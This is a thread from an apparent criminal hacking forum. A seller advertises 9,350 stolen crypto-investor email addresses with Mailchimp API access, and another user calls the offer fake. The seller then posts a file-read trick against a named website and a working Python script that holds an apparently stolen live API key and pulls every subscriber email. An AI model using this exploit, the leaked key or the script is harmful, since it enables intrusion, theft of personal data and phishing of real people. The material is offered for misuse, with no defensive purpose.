• XSS.stack #1 – первый литературный журнал от юзеров форума

9350 crypto investors email list + access to email api

В этой теме можно использовать автоматический гарант!

MrDark

Bratva
Пользователь
Регистрация
16.10.2023
Сообщения
200
Реакции
98
Депозит
5 Ł
Цена
$3500
Контакты
-
Selling 9350 active crypto investors emails from a token i hacked, first hand, unsold, including access to their mailchim api where emails and campings can be sent/created in their names.
Selling it including the vulnerability i found.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
no one purchase anything from this clown, added him on a new telegram and he's giving the same sales shit... claiming to have crypto investor leads from https://mdt.io/ with api... fake loser
 
For free.
Vuln: https://mdt.io/post.ph%70 ( you can read their .php files replacing it with .ph%70 to attempt to read additional files, I did not go thru any other files, so you can hack it more by attempting other files.

Script to extract emails from their camping mailchimp api:

Python:
import requests
from requests.auth import HTTPBasicAuth

API_KEY = '6ec08d67d70bb7a40876ae5bdeb48224-us16'
LIST_ID = '6af897c7de'
DC = API_KEY.split('-')[-1]
BASE_URL = f'https://{DC}.api.mailchimp.com/3.0'

def fetch_all_emails(list_id):
    all_emails = []
    count = 1000
    offset = 0

    while True:
        url = f"{BASE_URL}/lists/{list_id}/members"
        params = {
            "offset": offset,
            "count": count,
            "fields": "members.email_address,members.status,total_items"
        }
        response = requests.get(url, auth=HTTPBasicAuth('anystring', API_KEY), params=params)
        response.raise_for_status()
        data = response.json()

        batch = [member['email_address'] for member in data['members']]
        all_emails.extend(batch)

        if len(batch) < count:
            break

        offset += count

    return all_emails

def save_to_txt(email_list, filename="mailchimp_emails.txt"):
    with open(filename, 'w') as f:
        for email in email_list:
            f.write(email + '\n')
    print(f"Saved {len(email_list)} emails to {filename}")

def main():
    print("Extracting emails from 'MailTime AI' list...")
    emails = fetch_all_emails(LIST_ID)
    save_to_txt(emails)

if __name__ == "__main__":
    main()

Script will download all their email subscribers, enjoy.
 


Напишите ответ...
Верх